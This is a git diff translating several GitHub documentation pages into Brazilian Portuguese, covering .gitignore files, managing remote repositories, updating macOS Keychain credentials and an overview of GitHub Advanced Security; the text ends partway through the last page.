-GitHub maintains an official list of recommended *.gitignore* files for many popular operating systems, environments, and languages in the `github/gitignore` public repository. You can also use gitignore.io to create a *.gitignore* file for your operating system, programming language, or IDE. For more information, see "[github/gitignore](https://github.com/github/gitignore)" and the "[gitignore.io](https://www.gitignore.io/)" site.
+Você pode criar um arquivo *.gitignore* arquivo no diretório-raiz do seu repositório para dizer ao Git quais arquivos e diretórios devem ser ignorados ao fazer um commit. Para compartilhar as regras de ignorar com outros usuários que clonarem o repositório, faça o commit do arquivo *.gitignore* no seu repositório.
+
+O GitHub mantém uma lista oficial de arquivos *.gitignore* recomendados para muitos sistemas operacionais populares, ambientes e linguagens no repositório público `github/gitignore`. É possível usar gitignore.io para criar um arquivo *.gitignore* para seu sistema operacional, linguagem de programação ou Ambiente de Desenvolvimento Integrado (IDE, Integrated Development Environment). Para obter mais informações, consulte "[github/gitignore](https://github.com/github/gitignore)" e o site "[gitignore.io](https://www.gitignore.io/)".
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate to the location of your Git repository.
-3. Create a *.gitignore* file for your repository.
+2. Navegue para o local do seu repositório do Git.
+3. Crie um arquivo de *.gitignore* para o seu repositório.
    ```shell
    $ touch .gitignore
   ```
 
-   If the command succeeds, there will be no output.
-   
-For an example *.gitignore* file, see "[Some common .gitignore configurations](https://gist.github.com/octocat/9257657)" in the Octocat repository.
+   Se o comando for bem-sucedido, não haverá saída.
 
-If you want to ignore a file that is already checked in, you must untrack the file before you add a rule to ignore it. From your terminal, untrack the file.
+Por obter um exemplo do arquivo *.gitignore*, consulte "[Algumas configurações comuns do .gitignore](https://gist.github.com/octocat/9257657)" no repositório do Octocat.
+
+Se você deseja ignorar um arquivo que já foi ingressado, você deve cancelar o rastreamento do arquivo antes de adicionar uma regra para ignorá-lo. No seu terminal, deixe de rastrear o arquivo.
 
 ```shell
 $ git rm --cached <em>FILENAME</em>
 ```
 
-## Configuring ignored files for all repositories on your computer
+## Configurar arquivos ignorados para todos os repositórios no seu computador
 
-You can also create a global *.gitignore* file to define a list of rules for ignoring files in every Git repository on your computer. For example, you might create the file at *~/.gitignore_global* and add some rules to it.
+Você também pode criar um arquivo global *.gitignore* para definir uma lista de regras para ignorar arquivos em cada repositório do Git no seu computador. Por exemplo, você deverá criar o arquivo em *~/.gitignore_global* e adicionar algumas regras a ele.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Configure Git to use the exclude file *~/.gitignore_global* for all Git repositories.
+2. Configure o Git para usar o arquivo de exclusão *~/.gitignore_global* para todos os repositórios do Git.
   ```shell
   $ git config --global core.excludesfile ~/.gitignore_global
   ```
 
-## Excluding local files without creating a *.gitignore* file
+## Excluir arquivos locais sem criar um arquivo *.gitignore*
 
-If you don't want to create a *.gitignore* file to share with others, you can create rules that are not committed with the repository. You can use this technique for locally-generated files that you don't expect other users to generate, such as files created by your editor.
+Se você não quiser criar um arquivo *.gitignore* para compartilhar com outras pessoas, é possível criar regras sem fazer o commit no repositório. Você pode usar essa técnica para arquivos que você gerou localmente e que não espera que outros usuários o façam, como arquivos criados pelo seu editor.
 
-Use your favorite text editor to open the file called *.git/info/exclude* within the root of your Git repository. Any rule you add here will not be checked in, and will only ignore files for your local repository.
+Use seu editor de textos preferido para abrir o arquivo *.git/info/exclude* dentro da raiz do repositório Git. Qualquer regra que você adicionar aqui não será verificada e ignorará arquivos somente em seu repositório local.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate to the location of your Git repository.
-3. Using your favorite text editor, open the file *.git/info/exclude*.
+2. Navegue para o local do seu repositório do Git.
+3. Abra o arquivo *.git/info/exclude* com seu editor de texto preferido.
 
-## Further Reading
+## Leia mais
 
-* [Ignoring files](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring) in the Pro Git book
-* [.gitignore](https://git-scm.com/docs/gitignore) in the man pages for Git
-* [A collection of useful *.gitignore* templates](https://github.com/github/gitignore) in the github/gitignore repository
-* [gitignore.io](https://www.gitignore.io/) site
+* [Ignorar arquivos](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring) no livro do Pro Git
+* [.gitignore](https://git-scm.com/docs/gitignore) nas páginas de man para o Git
+*
+Uma coleção de *modelos úteis de *.gitignore*</a> no repositório github/gitignore</li> 
+  
+  * Site do [gitignore.io](https://www.gitignore.io/)</ul>
diff --git a/translations/pt-BR/content/get-started/getting-started-with-git/index.md b/translations/pt-BR/content/get-started/getting-started-with-git/index.md
index 35a583d510..8b62b31c99 100644
--- a/translations/pt-BR/content/get-started/getting-started-with-git/index.md
+++ b/translations/pt-BR/content/get-started/getting-started-with-git/index.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with Git
-intro: 'Set up Git, a distributed version control system, to manage your {% data variables.product.product_name %} repositories from your computer.'
+title: Primeiros passos com o Git
+intro: 'Configure o Git, um sistema de controle de versões distribuído, para gerenciar seus {% data variables.product.product_name %} repositórios no computador.'
 redirect_from:
   - /articles/getting-started-with-git-and-github
   - /github/using-git/getting-started-with-git-and-github
diff --git a/translations/pt-BR/content/get-started/getting-started-with-git/managing-remote-repositories.md b/translations/pt-BR/content/get-started/getting-started-with-git/managing-remote-repositories.md
index 0914d2a7ea..23d5fdc08f 100644
--- a/translations/pt-BR/content/get-started/getting-started-with-git/managing-remote-repositories.md
+++ b/translations/pt-BR/content/get-started/getting-started-with-git/managing-remote-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Managing remote repositories
-intro: 'Learn to work with your local repositories on your computer and remote repositories hosted on {% data variables.product.product_name %}.'
+title: Gerenciar repositórios remotos
+intro: 'Aprenda a trabalhar com seus repositórios locais no seu computador e repositórios remotos hospedados no {% data variables.product.product_name %}.'
 redirect_from:
   - /categories/18/articles
   - /remotes
@@ -23,82 +23,83 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Manage remote repositories
+shortTitle: Gerenciar repositórios remotos
 ---
-## Adding a remote repository
 
-To add a new remote, use the `git remote add` command on the terminal, in the directory your repository is stored at.
+## Adicionar um repositório remoto
 
-The `git remote add` command takes two arguments:
-* A remote name, for example, `origin`
-* A remote URL, for example, `https://{% data variables.command_line.backticks %}/user/repo.git`
+Para adicionar um novo remoto, use o comando `adicionar remoto do git` no terminal do diretório no qual seu repositório está armazenado.
 
-For example:
+O comando `git remote add` usa dois argumentos:
+* Um nome de remote, por exemplo, `origin`
+* Uma URL remota, por exemplo `https://{% data variables.command_line.backticks %}/user/repo.git`
+
+Por exemplo:
 
 ```shell
 $ git remote add origin https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git
-# Set a new remote
+# Defina um novo remote
 
 $ git remote -v
-# Verify new remote
+# Verifique  o novo remote
 > origin  https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git (push)
 ```
 
-For more information on which URL to use, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+Para obter mais informações sobre qual URL usar, consulte "[Sobre repositórios remotos](/github/getting-started-with-github/about-remote-repositories)".
 
-### Troubleshooting: Remote origin already exists
+### Solução de problemas: A origem remota já existe
 
-This error means you've tried to add a remote with a name that already exists in your local repository.
+Esse erro significa que você tentou adicionar um remote com um nome que já existe no repositório local.
 
 ```shell
 $ git remote add origin https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife.git
 > fatal: remote origin already exists.
 ```
 
-To fix this, you can:
-* Use a different name for the new remote.
-* Rename the existing remote repository before you add the new remote. For more information, see "[Renaming a remote repository](#renaming-a-remote-repository)" below.
-* Delete the existing remote repository before you add the new remote. For more information, see "[Removing a remote repository](#removing-a-remote-repository)" below.
+Para corrigir isso, é possível:
+* Usar um nome diferente para o novo remote.
+* Renomeie o repositório remoto existente antes de adicionar o novo repositório remoto. Para obter mais informações, consulte "[Renomear um repositório remoto](#renaming-a-remote-repository)" abaixo.
+* Exclua o repositório remoto existente antes de adicionar o novo repositório remoto. Para obter mais informações, consulte "[Removendo um repositório remoto](#removing-a-remote-repository)" abaixo.
 
-## Changing a remote repository's URL
+## Alterar a URL de um repositório remoto
 
-The `git remote set-url` command changes an existing remote repository URL.
+O comando `git remote set-url` altera a URL de um repositório remoto existente.
 
 {% tip %}
 
-**Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+**Dica:** Para obter informações sobre a diferença entre as URLs de HTTPS e SSH, consulte "[Sobre repositórios remotos](/github/getting-started-with-github/about-remote-repositories)".
 
 {% endtip %}
 
-The `git remote set-url` command takes two arguments:
+O comando `git remote set-url` usa dois argumentos:
 
-* An existing remote name. For example, `origin` or `upstream` are two common choices.
-* A new URL for the remote. For example:
-  * If you're updating to use HTTPS, your URL might look like:
+* Um nome remote existente. Por exemplo, `origin` ou `upstream` são duas escolhas comuns.
+* Uma nova URL para o remote. Por exemplo:
+  * Se estiver atualizando para usar HTTPS, a URL poderá ser parecida com esta:
 ```shell
 https://{% data variables.command_line.backticks %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
 ```
-  * If you're updating to use SSH, your URL might look like:
+  * Se estiver atualizando para usar SSH, a URL poderá ser parecida com esta:
 ```shell
 git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY</em>.git
 ```
 
-### Switching remote URLs from SSH to HTTPS
+### Alternar URLs remotes de SSH para HTTPS
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. List your existing remotes in order to get the name of the remote you want to change.
+2. Altere o diretório de trabalho atual referente ao seu projeto local.
+3. Liste seus remotes existentes para obter o nome do remote que deseja alterar.
   ```shell
   $ git remote -v
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (fetch)
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (push)
   ```
-4. Change your remote's URL from SSH to HTTPS with the `git remote set-url` command.
+4. Altere a URL do remote de SSH para HTTPS com o comando `git remote set-url`.
   ```shell
   $ git remote set-url origin https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
   ```
-5. Verify that the remote URL has changed.
+5. Verifique se o URL remote foi alterado.
   ```shell
   $ git remote -v
   # Verify new remote URL
@@ -106,25 +107,25 @@ git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (push)
   ```
 
-The next time you `git fetch`, `git pull`, or `git push` to the remote repository, you'll be asked for your GitHub username and password. {% data reusables.user_settings.password-authentication-deprecation %}
+Na próxima vez que você aplicar `git fetch`, `git pull` ou `git push` no repositório remote, precisará fornecer seu nome de usuário e a senha do GitHub. {% data reusables.user_settings.password-authentication-deprecation %}
 
-You can [use a credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git) so Git will remember your GitHub username and personal access token every time it talks to GitHub.
+Você pode [usar um auxiliar de credenciais](/github/getting-started-with-github/caching-your-github-credentials-in-git) para que o Git lembre seu nome de usuário e token de acesso pessoal toda vez que conversar com o GitHub.
 
-### Switching remote URLs from HTTPS to SSH
+### Mudar as URLs remotas de HTTPS para SSH
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. List your existing remotes in order to get the name of the remote you want to change.
+2. Altere o diretório de trabalho atual referente ao seu projeto local.
+3. Liste seus remotes existentes para obter o nome do remote que deseja alterar.
   ```shell
   $ git remote -v
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (fetch)
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (push)
   ```
-4. Change your remote's URL from HTTPS to SSH with the `git remote set-url` command.
+4. Altere a URL do remote de HTTPS para SSH com o comando `git remote set-url`.
   ```shell
   $ git remote set-url origin git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY</em>.git
   ```
-5. Verify that the remote URL has changed.
+5. Verifique se o URL remote foi alterado.
   ```shell
   $ git remote -v
   # Verify new remote URL
@@ -132,106 +133,105 @@ You can [use a credential helper](/github/getting-started-with-github/caching-yo
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (push)
   ```
 
-### Troubleshooting: No such remote '[name]'
+### Solução de problemas: Não há tal '[name]' remoto '
 
-This error means that the remote you tried to change doesn't exist:
+Este erro informa que o remote que você tentou alterar não existe:
 
 ```shell
 $ git remote set-url sofake https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife
 > fatal: No such remote 'sofake'
 ```
 
-Check that you've correctly typed the remote name.
+Verifique se você inseriu corretamente o nome do remote.
 
-## Renaming a remote repository
+## Renomear um repositório remoto
 
-Use the `git remote rename` command to rename an existing remote.
+Use o comando `renomear o remoto do git` para renomear um remoto existente.
 
-The `git remote rename` command takes two arguments:
-* An existing remote name, for example, `origin`
-* A new name for the remote, for example, `destination`
+O comando `git remote rename` tem dois argumentos:
+* O nome de um remote existente, como `origin`
+* Um novo nome para o remote, como `destination`
 
-## Example
+## Exemplo
 
-These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+Estes exemplos supõem que você está [clonando usando HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), que é o método recomendado.
 
 ```shell
 $ git remote -v
-# View existing remotes
+# Consulta os remotes existentes
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
 
 $ git remote rename origin destination
-# Change remote name from 'origin' to 'destination'
+# Altera o nome do remote de 'origin' para 'destination'
 
 $ git remote -v
-# Verify remote's new name
+# Confirma o novo nome do remote
 > destination  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
 > destination  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
 ```
 
-### Troubleshooting: Could not rename config section 'remote.[old name]' to 'remote.[new name]'
+### Solução de problemas: Não foi possível renomear a seção de configuração 'remote.[old name]' para 'remote.[new name]'
 
-This error means that the old remote name you typed doesn't exist.
+Este erro significa que o nome remoto antigo digitado não existe.
 
-You can check which remotes currently exist with the `git remote -v` command:
+Você pode consultar os remotes existentes no momento com o comando `git remote -v`:
 
 ```shell
 $ git remote -v
-# View existing remotes
+# Consulta os remotes existentes
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
 ```
 
-### Troubleshooting: Remote [new name] already exists
+### Solução de problemas: Já existe um [new name] remoto
 
-This error means that the remote name you want to use already exists. To solve this, either use a different remote name, or rename the original remote.
+Esse erro informa que o nome de remote que você deseja usar já existe. Para resolver isso, use um nome remoto diferente ou renomeie o remoto original.
 
-## Removing a remote repository 
+## Remover um repositório remoto
 
-Use the `git remote rm` command to remove a remote URL from your repository.
+Use o comando `git remote rm` para remover uma URL remota do seu repositório.
 
-The `git remote rm` command takes one argument:
-* A remote name, for example, `destination`
+O comando `git remote rm` tem um argumento:
+* O nome de um remote, como `destination`
 
-## Example
+## Exemplo
 
-These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+Estes exemplos supõem que você está [clonando usando HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), que é o método recomendado.
 
 ```shell
 $ git remote -v
-# View current remotes
+# Ver remotes atuais
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (push)
 > destination  https://{% data variables.command_line.codeblock %}/<em>FORKER/REPOSITORY</em>.git (fetch)
 > destination  https://{% data variables.command_line.codeblock %}/<em>FORKER/REPOSITORY</em>.git (push)
 
 $ git remote rm destination
-# Remove remote
+# Remover remote
 $ git remote -v
-# Verify it's gone
+# Confirmar a remoção
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (push)
 ```
 
 {% warning %}
 
-**Note**: `git remote rm` does not delete the remote repository from the server.  It simply
-removes the remote and its references from your local repository.
+**Observação**: o comando `git remote rm` não exclui o repositório do remote no servidor.  Ele simplesmente remove o remote e suas referências do repositório local.
 
 {% endwarning %}
 
-### Troubleshooting: Could not remove config section 'remote.[name]'
+### Solução de problemas: Não foi possível remover a seção 'remote.[name]'
 
-This error means that the remote you tried to delete doesn't exist:
+Esse erro informa que o remote que você tentou excluir não existe:
 
 ```shell
 $ git remote rm sofake
 > error: Could not remove config section 'remote.sofake'
 ```
 
-Check that you've correctly typed the remote name.
+Verifique se você inseriu corretamente o nome do remote.
 
-## Further reading
+## Leia mais
 
-- "[Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
+- "[Working with Remotes" (Trabalhar com remotes) no livro _Pro Git_](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
diff --git a/translations/pt-BR/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md b/translations/pt-BR/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md
index 8f4a056431..9700197b6d 100644
--- a/translations/pt-BR/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md
+++ b/translations/pt-BR/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md
@@ -1,6 +1,6 @@
 ---
-title: Updating credentials from the macOS Keychain
-intro: 'You''ll need to update your saved credentials in the `git-credential-osxkeychain` helper if you change your{% ifversion not ghae %} username, password, or{% endif %} personal access token on {% data variables.product.product_name %}.'
+title: Atualizar credenciais da keychain OSX
+intro: 'Você precisará atualizar suas credenciais salvas no auxiliar `git-credential-osxkeychain` se você alterar o seu {% ifversion not ghae %} nome de usuário, senha ou{% endif %} token de acesso pessoal em {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/updating-credentials-from-the-osx-keychain
   - /github/using-git/updating-credentials-from-the-osx-keychain
@@ -12,39 +12,39 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: macOS Keychain credentials
+shortTitle: Credenciais de keychain do macOS
 ---
+
 {% tip %}
 
-**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a PAT using the  `osxkeychain` helper that is built-in to macOS. 
+**Observação:** A atualização das credenciais do macOS Keychain aplica-se apenas a usuários que configuraram manualmente um PAT usando o auxiliar  `osxkeychain` integrado ao macOS.
 
-We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM) instead. GCM can manage authentication on your behalf (no more manual PATs) including 2FA (two-factor auth).
+Recomendamos que você [configure o SSH](/articles/generating-an-ssh-key) ou faça a atualização para o [Gerente de Credenciais do Git](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM). O GCM pode gerenciar a autenticação em seu nome (sem PATs manuais), incluindo a 2FA (autenticação de dois fatores).
 
 {% endtip %}
 
 {% data reusables.user_settings.password-authentication-deprecation %}
 
-## Updating your credentials via Keychain Access
+## Atualizar credenciais pelo Keychain Access
 
-1. Click on the Spotlight icon (magnifying glass) on the right side of the menu bar. Type `Keychain access` then press the Enter key to launch the app.
-   ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png)
-2. In Keychain Access, search for **{% data variables.command_line.backticks %}**.
-3. Find the "internet password" entry for `{% data variables.command_line.backticks %}`.
-4. Edit or delete the entry accordingly.
+1. Clique no ícone do Spotlight (lente ampliada) no lado direito da barra de menu. Digite `Acesso da Keychain` e, em seguida, pressione a chave Enter para iniciar o aplicativo. ![Barra de pesquisa do Spotlight](/assets/images/help/setup/keychain-access.png)
+2. No Keychain Access, procure por **{% data variables.command_line.backticks %}**.
+3. Localize a entrada "internet password" (senha da internet) referente a `{% data variables.command_line.backticks %}`.
+4. Edite ou exclua a entrada de acordo.
 
-## Deleting your credentials via the command line
+## Excluir credenciais pela linha de comando
 
-Through the command line, you can use the credential helper directly to erase the keychain entry.
+Através da linha de comando, você pode usar o auxiliar de credenciais diretamente para apagar a entrada de keychain.
 
 ```shell
 $ git credential-osxkeychain erase
 host={% data variables.command_line.codeblock %}
 protocol=https
-> <em>[Press Return]</em>
+> <em>[Pressione Return]</em>
 ```
 
-If it's successful, nothing will print out. To test that it works, try and clone a private repository from {% data variables.product.product_location %}. If you are prompted for a password, the keychain entry was deleted.
+Se a ação for bem-sucedida, nada será impresso. Para testar se funciona, tente clonar um repositório privado a partir de {% data variables.product.product_location %}. Se for solicitada uma senha, significa que a entrada da keychain foi excluída.
 
-## Further reading
+## Leia mais
 
-- "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
+- "[Armazenar suas credenciais de {% data variables.product.prodname_dotcom %} no Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
diff --git a/translations/pt-BR/content/get-started/index.md b/translations/pt-BR/content/get-started/index.md
index 8131599b42..7d56754501 100644
--- a/translations/pt-BR/content/get-started/index.md
+++ b/translations/pt-BR/content/get-started/index.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub
-shortTitle: Get started
-intro: 'Learn how to start building, shipping, and maintaining software with {% data variables.product.prodname_dotcom %}. Explore our products, sign up for an account, and connect with the world''s largest development community.'
+title: Introdução ao GitHub
+shortTitle: Começar
+intro: 'Aprenda a começar a criar, enviar e manter um software com a {% data variables.product.prodname_dotcom %}. Explore nossos produtos, inscreva-se em uma conta e conecte-se com a maior comunidade de desenvolvimento do mundo.'
 redirect_from:
   - /categories/54/articles
   - /categories/bootcamp
@@ -61,3 +61,4 @@ children:
   - /getting-started-with-git
   - /using-git
 ---
+
diff --git a/translations/pt-BR/content/get-started/learning-about-github/about-github-advanced-security.md b/translations/pt-BR/content/get-started/learning-about-github/about-github-advanced-security.md
index c8b27e59df..9fea8d3212 100644
--- a/translations/pt-BR/content/get-started/learning-about-github/about-github-advanced-security.md
+++ b/translations/pt-BR/content/get-started/learning-about-github/about-github-advanced-security.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Advanced Security
-intro: '{% data variables.product.prodname_dotcom %} makes extra security features available to customers under an {% data variables.product.prodname_advanced_security %} license.{% ifversion fpt or ghec %} These features are also enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}'
+title: Sobre o GitHub Advanced Security
+intro: '{% data variables.product.prodname_dotcom %} disponibiliza funcionalidades extras de segurança para os clientes sob uma licença de {% data variables.product.prodname_advanced_security %}.{% ifversion fpt or ghec %} Esses recursos também estão habilitados para repositórios públicos em {% data variables.product.prodname_dotcom_the_website %}.{% endif %}'
 product: '{% data reusables.gated-features.ghas %}'
 versions:
   fpt: '*'
@@ -12,71 +12,72 @@ topics:
 redirect_from:
   - /github/getting-started-with-github/about-github-advanced-security
   - /github/getting-started-with-github/learning-about-github/about-github-advanced-security
-shortTitle: GitHub Advanced Security
+shortTitle: Segurança Avançada GitHub
 ---
-## About {% data variables.product.prodname_GH_advanced_security %}
 
-{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans{% ifversion not ghae %}, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Other security features require {% data variables.product.prodname_GH_advanced_security %}{% ifversion fpt or ghec %} to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.
+## Sobre o {% data variables.product.prodname_GH_advanced_security %}
 
-{% ifversion ghes > 3.0 or ghec %}For information about buying a license for {% data variables.product.prodname_GH_advanced_security %}, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% elsif ghae %}There is no charge for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.product.prodname_ghe_managed %} during the beta release.{% elsif fpt %}To purchase a {% data variables.product.prodname_GH_advanced_security %} license, you must be using {% data variables.product.prodname_enterprise %}. For information about upgrading to {% data variables.product.prodname_enterprise %} with {% data variables.product.prodname_GH_advanced_security %}, see "[GitHub's products](/get-started/learning-about-github/githubs-products)" and "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %}
+{% data variables.product.prodname_dotcom %} tem muitas funcionalidades que ajudam você a melhorar e manter a qualidade do seu código. Alguns deles são incluídos em todos os planos{% ifversion not ghae %}, como o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Outras funcionalidades de segurança exigem que {% data variables.product.prodname_GH_advanced_security %}{% ifversion fpt or ghec %} seja executado em repositórios, além de repositórios públicos em {% data variables.product.prodname_dotcom_the_website %}{% endif %}.
 
-## About {% data variables.product.prodname_advanced_security %} features
+{% ifversion ghes > 3.0 or ghec %}Para obter minformações sobre a compra de uma licença para {% data variables.product.prodname_GH_advanced_security %}, consulte "[Sobre a cobrança para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% elsif ghae %}Não há cobrança para {% data variables.product.prodname_GH_advanced_security %} em {% data variables.product.prodname_ghe_managed %} na versão beta.{% elsif fpt %}para comprar uma licença de {% data variables.product.prodname_GH_advanced_security %}, você deverá usar {% data variables.product.prodname_enterprise %}. Para obter informações sobre a atualização para {% data variables.product.prodname_enterprise %} com {% data variables.product.prodname_GH_advanced_security %}, consulte "[produtos GitHub](/get-started/learning-about-github/githubs-products)" e "[Sobre cobrança para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security).{% endif %}
 
-A {% data variables.product.prodname_GH_advanced_security %} license provides the following additional features:
+## Sobre as funcionalidades de {% data variables.product.prodname_advanced_security %}
 
-- **{% data variables.product.prodname_code_scanning_capc %}** - Search for potential security vulnerabilities and coding errors in your code. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+Uma licença de {% data variables.product.prodname_GH_advanced_security %} fornece as funcionalidades adicionais a seguir:
 
-- **{% data variables.product.prodname_secret_scanning_caps %}** - Detect secrets, for example keys and tokens, that have been checked into the repository. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)."
+- **{% data variables.product.prodname_code_scanning_capc %}** - Pesquisa de possíveis vulnerabilidades de segurança e erros de codificação no seu código. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)".
+
+- **{% data variables.product.prodname_secret_scanning_caps %}** - Detectar segredos, por exemplo, chaves e tokens, que foram verificados no repositório. Para obter mais informações, consulte "[Sobre o {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)".
 
 {% ifversion fpt or ghes > 3.1 or ghec or ghae-issue-4864 %}
-- **Dependency review** - Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+- **Revisão de dependências** - Mostra o impacto total das alterações nas dependências e vê detalhes de qualquer versão vulnerável antes de realizar o merge de um pull request. Para obter mais informações, consulte "[Sobre a revisão de dependências](/code-security/supply-chain-security/about-dependency-review)".
 {% endif %}
 
 {% ifversion ghec or ghes > 3.1 %}
-- **Security overview** - Review the security configuration and alerts for an organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
+- **Visão geral de segurança** - Revise a configuração de segurança e os alertas para uma organização e identifique os repositórios com maior risco. Para obter mais informações, consulte "[Sobre a visão geral de segurança](/code-security/security-overview/about-the-security-overview)".
 {% endif %}
 
-For information about {% data variables.product.prodname_advanced_security %} features that are in development, see "[{% data variables.product.prodname_dotcom %} public roadmap](https://github.com/github/roadmap)." For an overview of all security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+Para obter informações sobre funcionalidades de {% data variables.product.prodname_advanced_security %} em desenvolvimento, consulte "[Plano de trabalho de {% data variables.product.prodname_dotcom %}](https://github.com/github/roadmap)". Para uma visão geral de todas as funcionalidades de segurança, consulte "[ funcionalidades de segurança de{% data variables.product.prodname_dotcom %}](/code-security/getting-started/github-security-features)".
 
 {% ifversion fpt or ghec %}
-{% data variables.product.prodname_GH_advanced_security %} features are enabled for all public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable these features for private and internal repositories. They also have access an organization-level security overview. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/about-github-advanced-security#enabling-advanced-security-features).{% endif %}
